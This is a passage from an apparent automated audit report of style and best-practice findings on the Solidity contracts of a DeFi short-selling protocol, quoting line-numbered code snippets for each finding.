131:     function twapCircuitBreaker() private view returns (uint256 twapPriceInEth) {

149:     function setPriceAndTime(address asset, uint256 oraclePrice, uint32 oracleTime) internal {

156:     function getTime(address asset) internal view returns (uint256 creationTime) {

162:     function getPrice(address asset) internal view returns (uint80 oraclePrice) {

168:     function getSavedOrSpotOraclePrice(address asset) internal view returns (uint256) {

LibOrders.sol (30-30, 35-35, 40-40, 55-58, 78-78, 82-82, 103-103, 128-128, 153-153, 173-178, 231-234, 260-266, 289-289, 314-314, 362-367, 402-409, 420-420, 440-447, 474-479, 499-499, 556-561, 628-628, 652-652, 668-668, 705-710, 783-788, 803-803, 810-810, 826-830, 854-854, 868-868, 882-882, 955-955, 985-985, 989-989):

30:     function getOffsetTime() internal view returns (uint32 timeInSeconds) {

35:     function convertCR(uint16 cr) internal pure returns (uint256) {

40:     function increaseSharesOnMatch(address asset, STypes.Order memory order, MTypes.Match memory matchTotal, uint88 eth) internal {

55:     function currentOrders(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset)
56:         internal
57:         view
58:         returns (STypes.Order[] memory)

78:     function isShort(STypes.Order memory order) internal pure returns (bool) {

82:     function addBid(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {

103:     function addAsk(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {

128:     function addShort(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {

153:     function addSellOrder(STypes.Order memory incomingOrder, address asset, MTypes.OrderHint[] memory orderHintArray) private {

173:     function addOrder(
174:         mapping(address => mapping(uint16 => STypes.Order)) storage orders,
175:         address asset,
176:         STypes.Order memory incomingOrder,
177:         uint16 hintId
178:     ) private {

231:     function verifyBidId(address asset, uint16 _prevId, uint256 _newPrice, uint16 _nextId)
232:         internal
233:         view
234:         returns (int256 direction)

260:     function verifySellId(
261:         mapping(address => mapping(uint16 => STypes.Order)) storage orders,
262:         address asset,
263:         uint16 _prevId,
264:         uint256 _newPrice,
265:         uint16 _nextId
266:     ) private view returns (int256 direction) {

289:     function cancelOrder(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset, uint16 id) internal {

314:     function matchOrder(mapping(address => mapping(uint16 => STypes.Order)) storage orders, address asset, uint16 id) internal {

362:     function findPrevOfIncomingId(
363:         mapping(address => mapping(uint16 => STypes.Order)) storage orders,
364:         address asset,
365:         STypes.Order memory incomingOrder,
366:         uint16 hintId
367:     ) internal view returns (uint16) {

402:     function verifyId(
403:         mapping(address => mapping(uint16 => STypes.Order)) storage orders,
404:         address asset,
405:         uint16 prevId,
406:         uint256 newPrice,
407:         uint16 nextId,
408:         O orderType
409:     ) internal view returns (int256 direction) {

420:     function normalizeOrderType(O o) private pure returns (O newO) {

440:     function getOrderId(
441:         mapping(address => mapping(uint16 => STypes.Order)) storage orders,
442:         address asset,
443:         int256 direction,
444:         uint16 hintId,
445:         uint256 _newPrice,
446:         O orderType
447:     ) internal view returns (uint16 _hintId) {

474:     function updateBidOrdersOnMatch(
475:         mapping(address => mapping(uint16 => STypes.Order)) storage orders,
476:         address asset,
477:         uint16 id,
478:         bool isOrderFullyFilled
479:     ) internal {

499:     function updateSellOrdersOnMatch(address asset, MTypes.BidMatchAlgo memory b) internal {

556:     function sellMatchAlgo(
557:         address asset,
558:         STypes.Order memory incomingAsk,
559:         MTypes.OrderHint[] memory orderHintArray,
560:         uint256 minAskEth
561:     ) internal {

628:     function matchIncomingSell(address asset, STypes.Order memory incomingOrder, MTypes.Match memory matchTotal) private {

652:     function matchIncomingAsk(address asset, STypes.Order memory incomingAsk, MTypes.Match memory matchTotal) private {

668:     function matchIncomingShort(address asset, STypes.Order memory incomingShort, MTypes.Match memory matchTotal) private {

705:     function matchHighestBid(
706:         STypes.Order memory incomingSell,
707:         STypes.Order memory highestBid,
708:         address asset,
709:         MTypes.Match memory matchTotal
710:     ) internal {

783:     function updateOracleAndStartingShortViaThreshold(
784:         address asset,
785:         uint256 savedPrice,
786:         STypes.Order memory incomingOrder,
787:         uint16[] memory shortHintArray
788:     ) internal {

803:     function updateOracleAndStartingShortViaTimeBidOnly(address asset, uint16[] memory shortHintArray) internal {

810:     function updateStartingShortIdViaShort(address asset, STypes.Order memory incomingShort) internal {

826:     function findOrderHintId(
827:         mapping(address => mapping(uint16 => STypes.Order)) storage orders,
828:         address asset,
829:         MTypes.OrderHint[] memory orderHintArray
830:     ) internal view returns (uint16 hintId) {

854:     function cancelBid(address asset, uint16 id) internal {

868:     function cancelAsk(address asset, uint16 id) internal {

882:     function cancelShort(address asset, uint16 id) internal {

955:     function handlePriceDiscount(address asset, uint80 price) internal {

985:     function min(uint256 a, uint256 b) internal pure returns (uint256) {

989:     function max(uint256 a, uint256 b) internal pure returns (uint256) {

LibSRUtil.sol (22-24, 49-51, 72-74, 102-105, 124-124, 151-151):

22:     function disburseCollateral(address asset, address shorter, uint88 collateral, uint256 dethYieldRate, uint32 updatedAt)
23:         internal
24:     {

49:     function checkCancelShortOrder(address asset, SR initialStatus, uint16 shortOrderId, uint8 shortRecordId, address shorter)
50:         internal
51:         returns (bool isCancelled)

72:     function checkShortMinErc(address asset, SR initialStatus, uint16 shortOrderId, uint8 shortRecordId, address shorter)
73:         internal
74:         returns (bool isCancelled)

102:     function checkRecoveryModeViolation(address asset, uint256 shortRecordCR, uint256 oraclePrice)
103:         internal
104:         view
105:         returns (bool recoveryViolation)

124:     function transferShortRecord(address from, address to, uint40 tokenId) internal {

151:     function updateErcDebt(STypes.ShortRecord storage short, address asset) internal {

UniswapOracleLibrary.sol (28-31, 47-50):

28:     function getQuoteAtTick(int24 tick, uint128 baseAmount, address baseToken, address quoteToken)
29:         internal
30:         pure
31:         returns (uint256 quoteAmount)

47:     function estimateTWAP(uint128 amountIn, uint32 secondsAgo, address pool, address baseToken, address quoteToken)
48:         internal
49:         view
50:         returns (uint256 amountOut)

[10] Names of `private`/`internal` state variables should be prefixed with an underscore

It is recommended by the Solidity Style Guide.

BridgeRouterFacet.sol (26-26, 27-27):

26:     address private immutable rethBridge;

27:     address private immutable stethBridge;

ExitShortFacet.sol (26-26):

26:     address private immutable dusd;

PrimaryLiquidationFacet.sol (28-28):

28:     address private immutable dusd;

[11] The `nonReentrant` `modifier` should occur before all other modifiers

This is a best-practice to protect against reentrancy in other modifiers

There are 10 instances:

BidOrdersFacet.sol (40-47):

40:     function createBid(
41:         address asset,
42:         uint80 price,
43:         uint88 ercAmount,
44:         bool isMarketOrder,
45:         MTypes.OrderHint[] calldata orderHintArray,
46:         uint16[] calldata shortHintArray
47:     ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant returns (uint88 ethFilled, uint88 ercAmountLeft) {

ExitShortFacet.sol (41-44, 87-90, 142-149):

41:     function exitShortWallet(address asset, uint8 id, uint88 buybackAmount, uint16 shortOrderId)
42:         external
43:         isNotFrozen(asset)
44:         nonReentrant

87:     function exitShortErcEscrowed(address asset, uint8 id, uint88 buybackAmount, uint16 shortOrderId)
88:         external
89:         isNotFrozen(asset)
90:         nonReentrant

142:     function exitShort(
143:         address asset,
144:         uint8 id,
145:         uint88 buybackAmount,
146:         uint80 price,
147:         uint16[] memory shortHintArray,
148:         uint16 shortOrderId
149:     ) external isNotFrozen(asset) nonReentrant onlyValidShortRecord(asset, msg.sender, id) {

PrimaryLiquidationFacet.sol (47-50):

47:     function liquidate(address asset, address shorter, uint8 id, uint16[] memory shortHintArray, uint16 shortOrderId)
48:         external
49:         isNotFrozen(asset)
50:         nonReentrant

RedemptionFacet.sol (56-61, 224-227, 310-310, 347-350):

56:     function proposeRedemption(
57:         address asset,
58:         MTypes.ProposalInput[] calldata proposalInput,
59:         uint88 redemptionAmount,
60:         uint88 maxRedemptionFee
61:     ) external isNotFrozen(asset) nonReentrant {

224:     function disputeRedemption(address asset, address redeemer, uint8 incorrectIndex, address disputeShorter, uint8 disputeShortId)
225:         external
226:         isNotFrozen(asset)
227:         nonReentrant

310:     function claimRedemption(address asset) external isNotFrozen(asset) nonReentrant {

347:     function claimRemainingCollateral(address asset, address redeemer, uint8 claimIndex, uint8 id)
348:         external
349:         isNotFrozen(asset)
350:         nonReentrant

ShortOrdersFacet.sol (35-42):

35:     function createLimitShort(
36:         address asset,
37:         uint80 price,
38:         uint88 ercAmount,
39:         MTypes.OrderHint[] memory orderHintArray,
40:         uint16[] memory shortHintArray,
41:         uint16 shortOrderCR
42:     ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant {

[12] Custom errors should be used rather than `revert()`/`require()`

Custom errors are available from solidity version 0.8.4. Custom errors are more easily processed in try-catch blocks, and are easier to re-use and maintain.

LibBytes.sol (14-14):

14:         require(slate.length % 51 == 0, "Invalid data length");

[13] Consider splitting complex checks into multiple steps

Assign the expression’s parts to intermediate local variables, and check against those instead.

BidOrdersFacet.sol (106-106, 317-317):

106:         if (incomingBid.price >= lowestSell.price && (lowestSell.orderType == O.LimitAsk || lowestSell.orderType == O.LimitShort)) {

317:             } else if (prevShortOrderType != O.Cancelled && prevShortOrderType != O.Matched && prevShort.price >= b.oraclePrice) {

RedemptionFacet.sol (38-38):

38:         if (shortRecord.status == SR.Closed || shortRecord.ercDebt < minShortErc || proposer == shorter) {

LibOracle.sol (60-60):

60:                 if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();

LibOrders.sol (752-752):

752:                     if (shortOrderType == O.Cancelled || shortOrderType == O.Matched || shortOrderType == O.Uninitialized) {

[14] Complex casting

Consider whether the number of casts is really necessary, or whether using a different type would be more appropriate. Alternatively, add comments to explain in detail why the casts are necessary, and any implicit reasons why the cast does not introduce an overflow.

UniswapOracleLibrary.sol (62-62):

62:         int24 tick = int24(tickCumulativesDelta / int32(secondsAgo));

[15] Complex math should be split into multiple steps

Consider splitting long arithmetic calculations into multiple steps to improve the code readability.

There are 11 instances:

PrimaryLiquidationFacet.sol (140-140, 180-180):

140:             m.ethDebt = m.short.ercDebt.mul(m.oraclePrice).mul(m.forcedBidPriceBuffer).mul(1 ether + m.tappFeePct + m.callerFeePct); // ethDebt accounts for forcedBidPriceBuffer and potential fees

180:             m.short.ercDebt = uint88(m.ethDebt.div(_bidPrice.mul(1 ether + m.callerFeePct + m.tappFeePct))); // @dev(safe-cast)

RedemptionFacet.sol (183-183, 186-187, 190-191, 194-195, 198-198, 289-291):

183:             redeemerAssetUser.timeToDispute = protocolTime + uint32((m.mul(p.currentCR - 1.7 ether) + 3 ether) * 1 hours / 1 ether);

186:             redeemerAssetUser.timeToDispute =
187:                 protocolTime + uint32((m.mul(p.currentCR - 1.5 ether) + 1.5 ether) * 1 hours / 1 ether);

190:             redeemerAssetUser.timeToDispute =
191:                 protocolTime + uint32((m.mul(p.currentCR - 1.3 ether) + 0.75 ether) * 1 hours / 1 ether);

194:             redeemerAssetUser.timeToDispute =
195:                 protocolTime + uint32((m.mul(p.currentCR - 1.2 ether) + C.ONE_THIRD) * 1 hours / 1 ether);

198:             redeemerAssetUser.timeToDispute = protocolTime + uint32(m.mul(p.currentCR - 1.1 ether) * 1 hours / 1 ether);

289:             uint256 penaltyPct = LibOrders.min(
290:                 LibOrders.max(LibAsset.callerFeePct(d.asset), (currentProposal.CR - disputeCR).div(currentProposal.CR)), 0.33 ether
291:             );

LibOrders.sol (965-965):

965:             uint256 discountPct = max(0.01 ether, min(((savedPrice - price).div(savedPrice)), 0.04 ether));

UniswapOracleLibrary.sol (38-39, 42-43):

38:             quoteAmount =
39:                 baseToken < quoteToken ? U256.mulDiv(ratioX192, baseAmount, 1 << 192) : U256.mulDiv(1 << 192, baseAmount, ratioX192);

42:             quoteAmount =
43:                 baseToken < quoteToken ? U256.mulDiv(ratioX128, baseAmount, 1 << 128) : U256.mulDiv(1 << 128, baseAmount, ratioX128);

[16] Consider adding a block/deny-list

Doing so will significantly increase centralization, but will help to prevent hackers from using stolen tokens

BidOrdersFacet.sol (20):

20: contract BidOrdersFacet is Modifiers {

BridgeRouterFacet.sol (18):

18: contract BridgeRouterFacet is Modifiers {

ExitShortFacet.sol (19):

19: contract ExitShortFacet is Modifiers {

PrimaryLiquidationFacet.sol (21):

21: contract PrimaryLiquidationFacet is Modifiers {

RedemptionFacet.sol (21):

21: contract RedemptionFacet is Modifiers {

ShortOrdersFacet.sol (18):

18: contract ShortOrdersFacet is Modifiers {

[17] Constants/Immutables redefined elsewhere

Consider defining in only one contract so that values cannot become out of sync when only one location is updated. A cheap way to store constants/immutables in a single location is to create an internal constant in a library. If the variable is a local cache of another contract’s value, consider making the cache variable internal or private, which will require external users to query the contract with the source of truth, so that callers don’t get out of sync.

ExitShortFacet.sol (26-26):

/// @audit Seen in contracts/facets/PrimaryLiquidationFacet.sol#28
26:     address private immutable dusd;

PrimaryLiquidationFacet.sol (28-28):

/// @audit Seen in contracts/facets/ExitShortFacet.sol#26
28:     address private immutable dusd;

[18] Convert simple `if`-statements to ternary expressions

Converting some if statements to ternaries (such as z = (a < b) ? x : y) can make the code more concise and easier to read.

There are 8 instances:

BidOrdersFacet.sol (320-324):

320:                 if (b.isMovingFwd) {
321:                     Asset.startingShortId = currentShort.nextId;
322:                 } else {
323:                     Asset.startingShortId = s.shorts[asset][b.shortHintId].nextId;
324:                 }

LibOrders.sol (90-94, 111-115, 132-136, 196-202, 339-348, 791-795, 944-948):

90:         if (order.price > s.bids[asset][nextId].price || nextId == C.TAIL) {
91:             hintId = C.HEAD;
92:         } else {
93:             hintId = findOrderHintId(s.bids, asset, orderHintArray);
94:         }

111:         if (order.price < s.asks[asset][nextId].price || nextId == C.TAIL) {
112:             hintId = C.HEAD;
113:         } else {
114:             hintId = findOrderHintId(s.asks, asset, orderHintArray);
115:         }

132:         if (order.price < s.shorts[asset][nextId].price || nextId == C.TAIL) {
133:             hintId = C.HEAD;
134:         } else {
135:             hintId = findOrderHintId(s.shorts, asset, orderHintArray);
136:         }

196:             if (prevCanceledID != C.HEAD) {
197:                 orders[asset][C.HEAD].prevId = prevCanceledID;
198:             } else {
199:                 // BEFORE: HEAD <- (ID) <- HEAD <-> .. <-> PREV <----------> NEXT
200:                 // AFTER1: HEAD <--------- HEAD <-> .. <-> PREV <-> [ID] <-> NEXT
201:                 orders[asset][C.HEAD].prevId = C.HEAD;
202:             }

339:         if (prevHEAD != C.HEAD) {
340:             orders[asset][id].prevId = prevHEAD;
341:         } else {
342:             // if this is the first ID cancelled
343:             // HEAD.prevId needs to be HEAD
344:             // and one of the cancelled id.prevID should point to HEAD
345:             // BEFORE: HEAD <--------- HEAD <-> ... [ID]
346:             // AFTER1: HEAD <- [ID] <- HEAD <-> ...
347:             orders[asset][id].prevId = C.HEAD;
348:         }

791:         if (incomingOrder.price >= savedPrice) {
792:             orderPriceGtThreshold = (incomingOrder.price - savedPrice).div(savedPrice) > 0.005 ether;
793:         } else {
794:             orderPriceGtThreshold = (savedPrice - incomingOrder.price).div(savedPrice) > 0.005 ether;
795:         }

944:             if (prevPrice >= savedPrice) {
945:                 Asset.startingShortId = shortOrder.prevId;
946:             } else {
947:                 Asset.startingShortId = shortOrder.nextId;
948:             }

[19] Contracts should each be defined in separate files

Keeping each contract in a separate file makes it easier to work with multiple people, makes the code easier to maintain, and is a common practice on most projects. The following file contains more than one contract/library/interface.

UniswapOracleLibrary.sol

[20] Contract name does not match its filename

According to the Solidity Style Guide, contract and library names should also match their filenames.

UniswapOracleLibrary.sol (21):

/// @audit Not match filename `UniswapOracleLibrary.sol`
21: library OracleLibrary {

[21] `UPPER_CASE` names should be reserved for `constant`/`immutable` variables

If the variable needs to be different based on which class it comes from, a view/pure function should be used instead (e.g. like this).

PrimaryLiquidationFacet.sol (165, 211, 241):

165:         STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];

211:         STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];

241:         STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];

LibBytes.sol (24):

24:             uint64 CR; // bytes8

[22] Contract timekeeping will break earlier than the Ethereum network itself will stop working

When a timestamp is downcast from uint256 to uint32, the value will wrap in the year 2106, and the contracts will break. Other downcasts will have different endpoints. Consider whether your contract is intended to live past the size of the type being used.

LibOrders.sol (32-32):

32:         return uint32(block.timestamp - C.STARTING_TIME); // @dev(safe-cast)

[23] Consider emitting an event at the end of the constructor

This will allow users to easily exactly pinpoint when and by whom a contract was constructed.

BridgeRouterFacet.sol (29-29):

29:     constructor(address _rethBridge, address _stethBridge) {

ExitShortFacet.sol (28-28):

28:     constructor(address _dusd) {

PrimaryLiquidationFacet.sol (30-30):

30:     constructor(address _dusd) {

[24] Events are emitted without the sender information

When an action is triggered based on a user’s action, not being able to filter based on who triggered the action makes event processing a lot more cumbersome. Including the msg.sender the events of these types of action will make events much more useful to end users, especially when msg.sender is not tx.origin.

RedemptionFacet.sol (284-284):

284:                 emit Events.DisputeRedemptionAll(d.asset, redeemer);

[25] Imports could be organized more systematically

The contract’s interface should be imported first, followed by each of the interfaces it uses, followed by all other files. The examples below do not follow this layout.

BidOrdersFacet.sol (6-6):

/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";

BridgeRouterFacet.sol (6-6):

/// @audit Out of order with the prev import️ ⬆
6: import {IBridge} from "contracts/interfaces/IBridge.sol";

ExitShortFacet.sol (6-6):

/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";

PrimaryLiquidationFacet.sol (6-6):

/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";

LibOracle.sol (6-6):

/// @audit Out of order with the prev import️ ⬆
6: import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

LibOrders.sol (6-6):

/// @audit Out of order with the prev import️ ⬆
6: import {IDiamond} from "interfaces/IDiamond.sol";

[26] Invalid NatSpec comment style

NatSpec comment in solidity should use /// or /* ... */ syntax.

There are 111 instances:

BidOrdersFacet.sol (70-70, 72-73, 102-102, 107-107, 113-113, 140-140, 291-291, 308-309, 333-334, 338-339, 344-344, 353-353, 393-393, 401-401):

70:         // @dev leave empty, don't need hint for market buys

72: 
73:         // @dev update oracle in callers

102:         // @dev setting initial shortId to match "backwards" (See _shortDirectionHandler() below)

107:             // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId

113:             // @dev no match, add to market if limit order

140:             // @dev Handles scenario when no sells left after partial fill

291:         // @dev needs to happen after updateSellOrdersOnMatch()

308: 
309:             // @dev Approximates the startingShortId after bid is fully executed

333: 
334:         // @dev match price is based on the order that was already on orderbook

338: 
339:     // @dev If neither conditions are true, it returns an empty Order struct

344:             // @dev Setting lowestSell after comparing short and ask prices

353:             // @dev Handles scenario when there are no shorts

393:             // @dev shortHintId should always be the first thing matched

401:             // @dev Only set to true if actually moving forward

BridgeRouterFacet.sol (67-67, 147-147, 178-178):

67:         // @dev amount after deposit might be less, if bridge takes a fee

147:     // @dev Deters attempts to take advantage of long delays between updates to the yield rate, by creating large temporary positions

178:             // @dev don't use mulU88 in rare case of overflow

ExitShortFacet.sol (156-157, 167-168, 202-203, 205-206):

156: 
157:         // @dev Must prevent forcedBid from exitShort() matching with original shortOrder

167: 
168:         // @dev if short order was cancelled, fully exit

202: 
203:             // @dev Only allow partial exit if the CR is same or better than before

205: 
206:             // @dev collateral already subtracted in exitShort()

PrimaryLiquidationFacet.sol (55-55, 57-58, 66-67, 71-72, 95-95, 157-158, 163-164, 177-177, 185-186, 191-192, 197-197, 198-198, 217-217):

55:         // @dev TAPP partially reimburses gas fees, capped at 10 to limit arbitrary high cost

57: 
58:         // @dev Ensures SR has enough ercDebt/collateral to make caller fee worthwhile

66: 
67:         // @dev liquidate requires more up-to-date oraclePrice

71: 
72:         // @dev Can liquidate as long as CR is low enough

95:     // @dev startingShortId is updated via updateOracleAndStartingShortViaTimeBidOnly() prior to call

157: 
158:         // @dev Provide higher price to better ensure it can fully fill the liquidation

163: 
164:         // @dev Increase ethEscrowed by shorter's full collateral for forced bid

177:             // @dev Max ethDebt can only be the ethEscrowed in the TAPP

185: 
186:         // @dev Liquidation contract will be the caller. Virtual accounting done later for shorter or TAPP

191: 
192:         // @dev virtually burning the repurchased debt

197:         // @dev manually setting basefee to 1,000,000 in foundry.toml;

198:         // @dev By basing gasFee off of baseFee instead of priority, adversaries are prevent from draining the TAPP

217:         // @dev TAPP already received the gasFee for being the forcedBid caller. tappFee nets out.

RedemptionFacet.sol (36-36, 37-37, 71-72, 82-82, 91-92, 94-95, 100-100, 107-108, 109-109, 126-127, 144-145, 156-156, 157-157, 261-261, 262-262, 277-278, 282-282, 286-287, 288-288, 294-295, 355-356, 372-372, 375-375, 380-381, 391-391, 393-393):

36:         // @dev Matches check in onlyValidShortRecord but with a more restrictive ercDebt condition

37:         // @dev Proposer can't redeem on self

71: 
72:         // @dev redeemerAssetUser.SSTORE2Pointer gets reset to address(0) after actual redemption

82:             // @dev Setting this above _onlyValidShortRecord to allow skipping

91: 
92:             // @dev Skip if proposal is not sorted correctly or if above redemption threshold

94: 
95:             // @dev totalAmountProposed tracks the actual amount that can be redeemed. totalAmountProposed <= redemptionAmount

100:                 // @dev Exit when proposal would leave less than minShortErc, proxy for nearing end of slate

107: 
108:             // @dev Cancel attached shortOrder if below minShortErc, regardless of ercDebt in SR

109:             // @dev All verified SR have ercDebt >= minShortErc so CR does not change in cancelShort()

126: 
127:             // @dev directly write the properties of MTypes.ProposalData into bytes

144: 
145:         // @dev SSTORE2 the entire proposalData after validating proposalInput

156:         // @dev Calculate the dispute period

157:         // @dev timeToDispute is immediate for shorts with CR <= 1.1x

261:             // @dev All proposals from the incorrectIndex onward will be removed

262:             // @dev Thus the proposer can only redeem a portion of their original slate

277: 
278:             // @dev Update the redeemer's SSTORE2Pointer

282:                 // @dev this implies everything in the redeemer's proposal was incorrect

286: 
287:             // @dev Penalty is based on the proposal with highest CR (decodedProposalData is sorted)

288:             // @dev PenaltyPct is bound between CallerFeePct and 33% to prevent exploiting primaryLiquidation fees

294: 
295:             // @dev Give redeemer back ercEscrowed that is no longer used to redeem (penalty applied)

355: 
356:         // @dev Only need to read up to the position of the SR to be claimed

372:             // @dev Refund shorter the remaining collateral only if fully redeemed and not claimed already

375:             // @dev Shorter shouldn't lose any unclaimed yield because dispute time > YIELD_DELAY_SECONDS

380: 
381:     // @dev inspired by https://docs.liquity.org/faq/lusd-redemptions#how-is-the-redemption-fee-calculated

391:         // @dev Calculate Asset.ercDebt prior to proposal

393:         // @dev Derived via this formula: baseRateNew = baseRateOld + redeemedLUSD / (2 * totalLUSD)

ShortOrdersFacet.sol (46-47, 54-55, 74-74, 83-84):

46: 
47:         // @dev create "empty" SR. Fail early.

54: 
55:         // @dev minShortErc needs to be modified (bigger) when cr < 1

74:         // @dev if match and match price is gt .5% to saved oracle in either direction, update startingShortId

83: 
84:         // @dev reading spot oracle price

LibBridgeRouter.sol (74-74, 104-104, 112-112, 142-143):

74:                     // @dev Prevents abusing bridge for arbitrage

104:                     // @dev Prevents abusing bridge for arbitrage

112:     // @dev Only applicable to VAULT.ONE which has mixed LST

142: 
143:     // @dev Only relevant to NFT SR that is being transferred, used to deter workarounds to the bridge credit system

LibOracle.sol (29-29, 81-82, 154-155, 160-161, 166-167):

29:                 // @dev multiply base oracle by 10**10 to give it 18 decimals of precision

81: 
82:         // @dev if there is issue with chainlink, get twap price. Verify twap and compare with chainlink

154: 
155:     // @dev Intentionally using creationTime for oracleTime.

160: 
161:     // @dev Intentionally using ercAmount for oraclePrice. Storing as price may lead to bugs in the match algos.

166: 
167:     // @dev Allows caller to save gas since reading spot price costs ~16K

LibOrders.sol (28-29, 42-43, 137-138, 171-172, 188-188, 237-237, 267-267, 294-294, 331-332, 418-419, 507-507, 508-508, 511-511, 518-518, 640-641, 723-724, 760-760, 769-769, 781-782, 790-790, 801-802, 846-846, 899-899, 900-900, 905-905, 906-906, 927-928, 931-931, 961-962, 964-964, 966-967, 970-970, 974-974, 980-981):

28: 
29:     // @dev in seconds

42: 
43:         // @dev use the diff to get more time (2159), to prevent overflow at year 2106

137: 
138:         // @dev: Only need to set this when placing incomingShort onto market

171: 
172:     // @dev partial addOrder

188:         // @dev (ID) is exiting, [ID] is inserted

237:         // @dev: TAIL can't be prevId because it will always be last item in list

267:         // @dev: TAIL can't be prevId because it will always be last item in list

294:         // @dev (ID) is exiting, [ID] is inserted

331: 
332:         // @dev mark as cancelled instead of deleting the order itself

418: 
419:     // @dev not used to change state, just which methods to call

507:                 // @dev Handles only matching one thing

508:                 // @dev If does not get fully matched, b.matchedShortId == 0 and therefore not hit this block

511:                 // @dev Handles moving forward only

518:                 // @dev Handle going backward and forward

640: 
641:         // @dev match price is based on the order that was already on orderbook

723: 
724:         // @dev this happens at the end so fillErc isn't affected in previous calculations

760:                 // @dev force hint to be within 0.5% of oraclePrice

769:                     // @dev prevShortPrice >= oraclePrice

781: 
782:     // @dev Update on match if order matches and price diff between order price and oracle > chainlink threshold (i.e. eth .5%)

790:         // @dev handle .5% deviations in either directions

801: 
802:     // @dev Possible for this function to never get called if updateOracleAndStartingShortViaThreshold() gets called often enough

846:             // @dev If hint was prev matched, assume that hint was close to HEAD and therefore is reasonable to use HEAD

899:             // @dev creating shortOrder automatically creates a closed shortRecord which also sets a shortRecordId

900:             // @dev cancelling an unmatched order needs to also handle/recycle the shortRecordId

905:                 // @dev prevents leaving behind a partially filled SR is under minShortErc

906:                 // @dev if the corresponding short is cancelled, then the partially filled SR's debt will == minShortErc

927: 
928:                     // @dev update the eth refund amount

931:                 // @dev virtually mint the increased debt

961: 
962:         // @dev tithe is increased only if discount is greater than 1%

964:             // @dev bound the new tithe amount between 25% and 100%

966: 
967:             // @dev Vault.dethTitheMod is added onto Vault.dethTithePercent to get tithe amount

970:             // @dev dethTitheMod is only set when setTithe is called.

974:                 // @dev change back to original tithe percent

980: 
981:         // @dev exists because of ShortOrderFacet contract size

LibSRUtil.sol (89-89, 132-133):

89:                     // @dev The resulting SR will not have PartialFill status after cancel

132: 
133:         // @dev shortOrderId is already validated in mintNFT

UniswapOracleLibrary.sol (57-58, 68-69):

57: 
58:         // @dev Returns the cumulative tick and liquidity as of each timestamp secondsAgo from the current block timestamp

68: 
69:         // @dev Gets price using this formula: p(i) = 1.0001**i, where i is the tick

[27] `@openzeppelin/contracts` should be upgraded to a newer version

These contracts import contracts from @openzeppelin/contracts, but they are not using the latest version. Using the latest version ensures contract security with fixes for known vulnerabilities, access to the latest feature updates, and enhanced community support and engagement.

The imported version is ^4.9.0.

LibOracle.sol (7):

7: import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

[28] Lib `@prb/math` should be upgraded to a newer version

These contracts import contracts from lib @prb/math, but they are not using the latest version.

The imported version is ^4.0.1.

Global finding

[29] Functions should be named in `mixedCase` style

As the Solidity Style Guide suggests: functions should be named in mixedCase style.

RedemptionFacet.sol (31):

31:     function validRedemptionSR(STypes.ShortRecord storage shortRecord, address proposer, address shorter, uint256 minShortErc)

LibOrders.sol (35):

35:     function convertCR(uint16 cr) internal pure returns (uint256) {

UniswapOracleLibrary.sol (47):

47:     function estimateTWAP(uint128 amountIn, uint32 secondsAgo, address pool, address baseToken, address quoteToken)

[30] Variable names for `immutable`s should use `UPPER_CASE_WITH_UNDERSCORES`

For immutable variable names, each word should use all capital letters, with underscores separating each word (UPPER_CASE_WITH_UNDERSCORES)

BridgeRouterFacet.sol (26-26, 27-27):

26:     address private immutable rethBridge;

27:     address private immutable stethBridge;

ExitShortFacet.sol (26-26):

26:     address private immutable dusd;

PrimaryLiquidationFacet.sol (28-28):

28:     address private immutable dusd;

[31] Consider adding validation of user inputs

There are no validations done on the arguments below. Consider that the Solidity documentation states that Properly functioning code should never create a Panic, not even on invalid external input. If this happens, then there is a bug in your contract which you should fix. This means that there should be explicit checks for expected ranges of inputs. Underflows/overflows result in panics should not be used as range checks, and allowing funds to be sent to 0x0, which is the default value of address variables and has many gotchas, should be avoided.

BidOrdersFacet.sol (65-65):

/// @audit `sender not checked`
/// @audit `asset not checked`
65:     function createForcedBid(address sender, address asset, uint80 price, uint88 ercAmount, uint16[] calldata shortHintArray)

BridgeRouterFacet.sol (63-63, 82-82, 101-101, 133-133):

/// @audit `bridge not checked`
63:     function deposit(address bridge, uint88 amount) external nonReentrant {

/// @audit `bridge not checked`
82:     function depositEth(address bridge) external payable nonReentrant {

/// @audit `bridge not checked`
101:     function withdraw(address bridge, uint88 dethAmount) external nonReentrant {

/// @audit `bridge not checked`
133:     function withdrawTapp(address bridge, uint88 dethAmount) external onlyDAO {

RedemptionFacet.sol (347-347):

/// @audit `redeemer not checked`
347:     function claimRemainingCollateral(address asset, address redeemer, uint8 claimIndex, uint8 id)

[32] Constants should be put on the left side of comparisons

Putting constants on the left side of comparison statements is a best practice known as Yoda conditions. Although solidity’s static typing system prevents accidental assignments within conditionals, adopting this practice can improve code readability and consistency, especially when working across multiple languages.

There are 34 instances:

BidOrdersFacet.sol (281):

/// @audit put `0` on the left
281:         if (matchTotal.fillEth == 0) {

BridgeRouterFacet.sol (102, 134, 164):

/// @audit put `0` on the left
102:         if (dethAmount == 0) revert Errors.ParameterIsZero();

/// @audit put `0` on the left
134:         if (dethAmount == 0) revert Errors.ParameterIsZero();

/// @audit put `0` on the left
164:             if (vault == 0) revert Errors.InvalidBridge();

ExitShortFacet.sol (53, 99, 174, 188):

/// @audit put `0` on the left
53:         if (buybackAmount > ercDebt || buybackAmount == 0) revert Errors.InvalidBuyback();

/// @audit put `0` on the left
99:         if (buybackAmount == 0 || buybackAmount > ercDebt) revert Errors.InvalidBuyback();

/// @audit put `0` on the left
